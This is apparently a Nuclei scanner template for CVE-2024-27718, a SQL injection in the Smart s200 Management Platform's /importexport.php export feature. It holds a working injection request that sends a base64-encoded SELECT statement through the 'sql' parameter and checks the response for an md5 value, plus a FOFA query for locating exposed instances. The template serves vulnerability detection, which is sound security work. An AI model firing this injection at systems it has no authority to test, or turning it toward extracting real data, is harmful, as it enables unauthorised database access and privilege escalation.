id: CVE-2024-27718

info:
  name: Smart s200 Management Platform v.S200 - SQL Injection
  author: DhiyaneshDk
  severity: high
  description: |
    SQL Injection vulnerability in Baizhuo Network Smart s200 Management Platform v.S200 allows a local attacker to obtain sensitive information and escalate privileges via the /importexport.php component.
  impact: |
    Authenticated attackers can extract sensitive database information via SQL injection in the importexport.php component.
  remediation: |
    Update Smart s200 Management Platform to a version that addresses CVE-2024-27718.
  reference:
    - https://github.com/tldjgggg/cve/blob/main/sql.md
  classification:
    epss-score: 0.01101
    epss-percentile: 0.61361
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Smart管理平台"
  tags: cve,cve2024,smart-s45f,sqli,vuln

variables:
  num: "{{rand_int(9000000, 9999999)}}"
  cmd: "select+9,md5({{num}}),9"

http:
  - raw:
      - |
        GET /importexport.php?sql={{base64(cmd)}}&type=exportexcelbysql HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"

      - type: word
        part: header
        words:
          - 'application/octet-stream'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c11e6aa15d983935703bb69f203d40153590c19fa44926a3edb19293b913000102202604430ac71efb56c1a7b1adcc5b843ef2e9f42512ac18c5f8af9e0a6b7d592d:922c64590222798bb761d5b6d8e72950